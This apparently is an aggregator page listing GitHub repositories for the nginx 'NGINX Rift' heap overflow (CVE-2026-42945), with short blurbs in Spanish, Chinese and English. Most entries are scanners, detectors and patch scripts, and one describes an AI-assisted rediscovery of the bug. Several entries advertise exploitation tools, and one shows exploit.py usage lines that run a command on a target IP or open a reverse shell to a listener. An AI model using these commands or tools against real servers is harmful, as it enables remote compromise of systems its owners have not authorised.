nginx-rift-check

nginx-rift-check Encuentra configuraciones vulnerables a CVE-2026-42945 , el desbordamiento de búfer en el heap del ngxhttprewritemodule de nginx. Ejecutar una versión afectada de nginx de 0.6.27 a 1.30.0 no es suficiente para ser explotable. La configuración debe contener un par específico de...

NGINX_RIFT_SCAN_CVE_2026_42945

NGINX Rift 配置扫描器 语言：中文 | English 这是一个用于检查 NGINX 配置是否存在 CVE-2026-42945（NGINX Rift）和 CVE-2026-9256 风险模式的轻量级脚本。 该漏洞由 depthfirst 在文章 NGINX Rift: Achieving NGINX RCE via an 18-Year-Old Vulnerability 中披露。根据文章和 F5/NVD 描述，风险与 ngxhttprewritemodule 的特定配置组合有关：在同一配置上下文中，rewrite 的替换字符串包含 ?，后续 rewrite、if 或 set...

nGixshell

nGixShell es un escáner de CVE de nginx y un framework de explotación RCE. Incluye una prueba de concepto funcional para CVE-2026-42945 — un desbordamiento crítico de heap buffer en ngxhttprewritemodule — y un escáner que cubre 53 CVEs de nginx con sondas HTTP automatizadas, huella digital,...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

CVE-2026-42945-nginx-rift

此存储库没有 README。...

CVE-2026-42945

Este repositorio no tiene un README...

CVE-2026-42945

CVE-2026-42945 PoC（Go） 中文 | English 针对 nginx HTTP/2 实现（CVE-2026-42945） 的探测与利用辅助工具，用于在授权环境 中验证漏洞是否存在、对照修复效果，并在可控实验环境中复现 PoC 行为。 受影响版本（粗判）：nginx 0.6.27 – 1.30.0 ；1.30.1+ / 1.31.0+ 已修复。 ⚠️ 免责声明（请务必阅读） 本仓库仅供安全研究、漏洞验证与防御性测试使用。 1. 合法授权 ：你只能在拥有明确书面授权 或完全归你所有...

nginx-rift-detector

NGINX Rift 检测器用于 CVE-2026-42945 用于受感染 NGINX 服务器的只读 Bash 检测器。它帮助运维人员在 CVE-2026-42945 披露后回答两个问题： 此服务器是否仍运行存在漏洞的 NGINX 版本或危险的重写配置？ 本地日志是否包含崩溃、长 URI 或编码信号，需要在关闭工单前进行审查？ 快速开始 需求| 链接 ---|--- 浏览工具页面| https://limo57640-crypto.github.io/nginx-rift-detector/ 阅读 Ping7 自检指南|...

fix_nginx_cve_2026_42945

NGINX CVE-2026-42945 一键修复脚本 自动检测系统发行版，升级 NGINX 至修复版本 ≥1.30.1，并备份配置、自动回滚。 漏洞说明 漏洞编号： CVE-2026-42945 漏洞名称：NGINX Rift NGINX 在处理特定的 rewrite 跳转规则时，请求内容长度计算与实际写入不一致，攻击者可构造恶意请求触发内存破坏，导致工作进程崩溃，甚至远程代码执行。 受影响版本： 低于 NGINX 1.30.1 / 1.31.0 的所有版本 修复版本： NGINX 1.30.1 / 1.31.0 及以上 特性 自动发行版检测 — Ubuntu/Debian /...

nginx-rift-detect

nginx-rift-detect Script de detección por comportamiento para CVE-2026-42945 NGINX Rift — un desbordamiento de búfer en el montón en ngxhttprewritemodule presente en nginx desde 2008. ⚠️ Descargo de responsabilidad Esta herramienta está destinada exclusivamente a pruebas de seguridad e...

nginx-cve-2026-42945

CVE-2026-42945 NGINX Rift — escáner defensivo Las organizaciones que ejecutan NGINX Open Source , NGINX Plus o ingress/controladores basados en NGINX deberían verificar si están afectadas por CVE-2026-42945 y aplicar el parche o reconfigurar antes de que los intentos de explotación lleguen a los...

nginx-rce-cve-2026-42945

5. CVE-2026-42945 - RCE Crítico en NGINX CVSS 9.2 Clasificación Categoría: 0-Day / Ejecución Remota de Código CVE: CVE-2026-42945 CVSS: 9.2 Crítico Fecha de descubrimiento: 12 de mayo de 2026 Fecha de parche: Mayo de 2026 parche de seguridad trimestral de F5 Fuente: GitHub...

Nginx_cve-2026-42945-scanner-gui

Ngxin cve-2026-42945-scanner-gui a need run jdk21version java -jar cve-2026-42945-scanner.... Bulk scanning + one-click vulnerability exploitation 需要jdk21运行 解压后 java -jar cve-2026-42945-scanner.... 批量扫描 + 一键漏洞利用...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift RCE PoC 附带反向 Shell 针对 CVE-2026-42945 （NGINX 中 ngxhttprewritemodule 的堆缓冲区溢出）的远程代码执行概念验证工具。本分支在公开的触发 PoC 基础上，嵌入了反向 shell 监听器以及可配置的利用参数，适用于 CTF 和隔离的实验室环境。 漏洞摘要 CVE ID: CVE-2026-42945 别名: NGINX Rift 受影响组件: ngxhttprewritemodule 受影响版本: NGINX 开源版 0.6.27 – 1.30.0；NGINX Plus R32 ...

Scanner_CVE_2026-42945

用于检测易受 CVE-2026-42945 NGINX RIFT 影响的 Nginx 实例的扫描器。 接受单个 IP、CIDR 范围以及 ASN 作为输入。 关于 CVE-2026-42945 影响所有 1.30.1 之前 的 Nginx 版本。 该工具在默认端口上探测 HTTP 和 HTTPS，读取响应头中的 Server 字段，并将每个主机分类为脆弱、安全或可能受影响（版本隐藏）。 结果会记录到日志中，包含一份脆弱主机的列表，以及最终的详细 .CSV 文件。 依赖 root@kitploit: pip install requests packaging urllib3...

NGINX-Rift

NGINX Rift — CVE-2026-42945 / CVE-2026-9256 漏洞扫描与验证工具 NGINX Rift 是一款针对 CVE-2026-42945 和 CVE-2026-9256 （NGINX ngxhttprewritemodule 堆溢出漏洞）的开源扫描与验证工具。支持远程网络指纹扫描和本地深度配置审计，帮助安全团队快速排查 NGINX 环境中的潜在风险。 漏洞概述 CVE-2026-9256 CVSS 4.0: 9.2 Critical 属性| 详情 ---|--- CVE 编号| CVE-2026-9256 漏洞类型| 堆缓冲区溢出 Heap-based...

nginx-rift-scanner

nginx-rift-scanner 无第三方依赖的 Python 3 扫描器，用于检测 CVE-2026-42945（"NGINX Rift"） —— ngxhttprewritemodule 中一个 CVSS v4.0 9.2 严重（CRITICAL） 的基于堆的缓冲区溢出（CWE-122）。 检测内容 每次调用都会执行两项独立的检查： 检查项| 方式 ---|--- 版本| nginx -V、dpkg/rpm/apk、Dockerfile/compose 镜像标签 配置模式| 对 nginx.conf 及所有 include 文件进行支持大括号感知的解析 受影响版本 关于 1.30...

cve-2026-42945-scan

cve-2026-42945-scan Static scanner for NGINX configuration files that detects the rewrite/set pattern associated with CVE-2026-42945. The scanner parses NGINX configs with crossplane, walks location blocks, and prints every location that looks affected in this format: root@kitploit: //xxx.conf: -...

CVE-2026-42945-NGINX-Rift-Check-Script

此存储库没有 README。...

ai-vuln-rediscovery-nginx-cve-2026-42945

AI辅助重新发现nginx中的CVE-2026-42945 本仓库记录了一个可复现的AI辅助漏洞重新发现实验，针对nginx的ngxhttprewritemodule，该漏洞后来被关联为CVE-2026-42945。 该实验刻意缩小范围。易受攻击的文件src/http/ngxhttpscript.c被直接提供给模型进行审计。这并非声称AI系统从头开始自主地在完整的nginx代码库中找到了该问题。 摘要 被审计的漏洞是一个由nginx重写处理中脚本引擎状态过时导致的堆缓冲区溢出。 在高层面上： 1. 一个包含?的rewrite替换会设置e-isargs = 1。 2...